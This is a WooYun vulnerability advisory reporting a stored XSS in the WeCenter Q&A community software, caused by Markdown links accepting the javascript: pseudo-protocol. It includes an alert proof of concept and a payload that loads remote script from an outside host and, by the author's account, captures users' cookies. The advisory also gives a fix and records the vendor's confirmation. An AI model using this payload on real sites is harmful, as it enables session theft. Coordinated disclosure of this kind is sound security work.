当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-060727

漏洞标题:wecenter社交化问答社区敏感位置XSS

相关厂商:www.wecenter.com

漏洞作者: phith0n

提交时间:2014-05-30 11:19

修复时间:2014-08-28 11:20

公开时间:2014-08-28 11:20

漏洞类型:xss跨站脚本攻击

危害等级:中

自评Rank:5

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-05-30: 细节已通知厂商并且等待厂商处理中
2014-05-30: 厂商已经确认,细节仅向厂商公开
2014-06-02: 细节向第三方安全合作伙伴开放
2014-07-24: 细节向核心白帽子及相关领域专家公开
2014-08-03: 细节向普通白帽子公开
2014-08-13: 细节向实习白帽子公开
2014-08-28: 细节向公众公开

简要描述:

markdown处理不当造成的XSS。
ps~我特别喜欢wecenter现在的风格,小清新又不失用户体验,不愧是我最欣赏的cms之一。

详细说明:

发帖处(提问及回复)应该算敏感位置吧?
wecenter中任何富文本都是以markdown的形似保存于发布的,所以避免了很多常见的富文本XSS。
markdown处理富文本一般是这样的流程:
01.htmlspecialchar处理用户输入的信息。
02.保存入数据库。
03.在其他用户访问时,从数据库中取出信息。
04.在前端(或后端)根据markdown的规则把用户信息放入相应的位置。如**aaa**,就会变成<strong>aaa</strong>,所有html标签是此时加入的。
所以markdown的过滤效果等同于htmlspecialchar,如果你不注意一些不含<、>、"这些字符的XSS的话,也会中招。
比如发表超链接的位置。
Markdown的超链接是这种形式:

[显示文字](连接地址)


如果链接地址这里写入javascript伪协议的话,一样可以在用户点击后执行XSS。
详见漏洞证明。

漏洞证明:

在提问处发表提问,或者在留言处发表留言:

[点这里](javascript:alert(/xss/))


01.jpg


发表以后查看,点击后触发:

02.jpg


来个加载远程js的exp:

[点这里](javascript:$.getScript('http://xss.com/9WfKui'))


可收到cookie:

03.jpg

修复方案:

检查超链接的url是否以http或https开头,如果不是,则强制加上http://

版权声明:转载请注明来源 phith0n@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:6

确认时间:2014-05-30 11:23

厂商回复:

已确认是 Markdown 解析连接方面的疏忽, 感谢对 WeCenter 的支持!

最新状态:

2014-05-30:已经发布新版 http://wenda.wecenter.com/question/17683